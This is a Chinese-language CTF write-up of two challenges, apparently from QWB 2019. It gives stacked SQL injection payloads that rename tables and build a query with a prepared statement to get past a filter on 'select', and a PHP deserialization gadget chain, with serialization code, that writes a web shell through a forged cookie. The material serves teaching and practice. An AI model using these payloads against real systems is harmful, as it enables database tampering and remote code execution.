0x01随便注
1 | CREATE DATABASE supersqli; |
这道题从郁师傅那里学到了骚套路。
首先发现了waf,过滤的其实还算少。这题可以用堆叠注入查表和字段,整个结构就清晰了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70';show tables;
/*
array(2) {
[0]=>
array(1) {
["Tables_in_supersqli"]=>
string(16) "1919810931114514"
}
[1]=>
array(1) {
["Tables_in_supersqli"]=>
string(5) "words"
}
}
*/
';show columns from words;
/*
array(2) {
[0]=>
array(6) {
["Field"]=>
string(2) "id"
["Type"]=>
string(7) "int(11)"
["Null"]=>
string(3) "YES"
["Key"]=>
string(0) ""
["Default"]=>
NULL
["Extra"]=>
string(0) ""
}
[1]=>
array(6) {
["Field"]=>
string(4) "data"
["Type"]=>
string(4) "text"
["Null"]=>
string(3) "YES"
["Key"]=>
string(0) ""
["Default"]=>
NULL
["Extra"]=>
string(0) ""
}
}
*/
';show columns from `1919810931114514`;
/*
array(1) {
[0]=>
array(6) {
["Field"]=>
string(4) "flag"
["Type"]=>
string(4) "text"
["Null"]=>
string(3) "YES"
["Key"]=>
string(0) ""
["Default"]=>
NULL
["Extra"]=>
string(0) ""
}
}
*/
sql语句也很清楚了,select被过滤了,但查询语句查的是words
表,而flag在另一个表中,如何查询呢?1
SELECT id,`data` FROM words WHERE id='1' ;
注意到waf黑名单其实过滤的很少的,比如alter和rename没被过滤就可以加以利用。我们可以把words表名改掉,再把flag所在表名改成words,再利用alter添加id字段,即可成功查询。1
payload:';rename table words to wordss;rename table `1919810931114514` to words;alter table words add id int default 1#
另一种方法是利用自定义变量绕过,学到了学到了。1
-1';use supersqli;set @sqli=concat('se','lect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sqli;EXECUTE stmt1;
0x02 upload
题目环境 https://github.com/CTFTraining/qwb_2019_upload
这道题从高明的黑客那里得到提示,访问www.tar.gz,果然源码泄露。拿到源码很无奈,因为upload那里把文件名MD5以后加上png后缀,我就没思路了。赛后看其他大佬的复现,终于懂了。
这道题是利用反序列化,执行我们需要的代码。1
2
3
4public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
profile中存在魔术方法get和call,当访问不存在的变量或私有变量时调用get(),在对象中调用一个不可访问方法或私有方法时调用call()。1
2
3
4
5
6
7
8
9
10
11
12public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
继续阅读源码,在Register中发现析构函数调用了checker的index()函数,而Profile中不存在,所以我们就可以反序列化传入一个Register对象,Register的checker成员变量是Profile对象,这样就能触发call和get方法了。再调用Profile中的upload_img(),通过控制成员变量,可以控制执行copy函数就能成功生成图马。1
2
3
4
5
6public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
首先先上传一个图马,获取到图片地址再利用payload序列化并base64编码再传入cookie访问,成功upload图马。
payload如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp="../public/upload/.../...";//图片路径
public $filename="../public/upload/.../shell.php";
public $upload_menu;
public $ext=1;
public $img;
public $except=array('index'=>'upload_img');
}
class Register
{
public $checker;
public $registed=0;
}
$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
echo base64_encode(serialize($a));